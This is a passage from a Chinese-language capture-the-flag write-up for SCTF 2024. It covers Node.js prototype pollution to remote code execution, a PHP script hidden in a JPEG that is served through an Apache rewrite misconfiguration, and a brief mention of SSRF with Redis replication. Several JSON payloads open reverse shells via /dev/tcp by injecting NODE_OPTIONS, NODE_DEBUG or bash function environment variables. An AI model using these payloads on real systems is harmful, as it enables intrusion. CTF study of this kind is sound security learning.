"argv0": "console.log(require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/ip/7777 0>&1\"').toString());//",
"env": {"NODE_OPTIONS": "--require /proc/self/cmdline"},
},
}

login()
add_report(payload)
get_shell()

PS

或者其他的 payload:

1
2
3
4
5
6
7
8
9
10
11
12
{
"user":"__proto__",
"date":"2",
"reportmessage":{
"shell":"/readflag",
"env":{
"NODE_DEBUG":"require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/ip/port 0>&1\"');process.exit();//",
"NODE_OPTIONS":"-r /proc/self/environ"
}
}
}

1
2
3
4
5
6
7
8
9
10
11
{
"user":"__proto__",
"date":"2",
"reportmessage":{
"shell":"/bin/bash",
"env":{
"BASH_FUNC_whoami%%":"() { /readflag;}"
}
}
}

这个说实话原理没太懂,找时间看下吧。

PP2RCE:

Prototype Pollution to RCE | HackTricks

havefun

jpg 内有 php。

1
2
3
4
5
<?php
$file = '/etc/apache2/sites-available/000-default.conf';
$content = file_get_contents($file);
echo htmlspecialchars($content);
?>

路径规则配置问题。/static/SCTF.jpg/a.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<VirtualHost *:80>
# The ServerName directive sets the request scheme, hostname and port that the server uses to identify itself. This is used when creating redirection URLs. In the context of virtual hosts, the ServerName specifies what hostname must appear in the request's Host: header to match this virtual host. For the default virtual host (this file) this value is not decisive as it is used as a last resort host regardless. However, you must set it for any further virtual host explicitly.
# ServerName www.example.com
ServerAdmin webmaster@localhost
DocumentRoot /var/www/html
PassengerAppRoot /usr/share/redmine
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
<Directory /var/www/html/redmine>
RailsBaseURI /redmine
# PassengerResolveSymlinksInDocumentRoot on
</Directory>
# Available loglevels: trace8,..., trace1, debug, info, notice, warn, error, crit, alert, emerg.
# It is also possible to configure the loglevel for particular modules, e.g.
# LogLevel info ssl:warn
RewriteEngine On
RewriteRule ^(.+\.php)$ $1 [H=application/x-httpd-php]
LogLevel alert rewrite:trace3
RewriteEngine On
RewriteRule ^/profile/(.*)$ /$1.html
# For most configuration files from conf-available/, which are enabled or disabled at a global level, it is possible to include a line for only one particular virtual host. For example the following line enables the CGI configuration for this host only after it has been globally disabled with "a2disconf".
# Include conf-available/serve-cgi-bin.conf
</VirtualHost>

后面看不懂一点。O.o

ezjump

环境没了,没看捏。考点是 SSRF 加 Redis 的主从复制。

Ref

SCTF 2024 Writeup

SCTF 2024 By W&M - W&M Team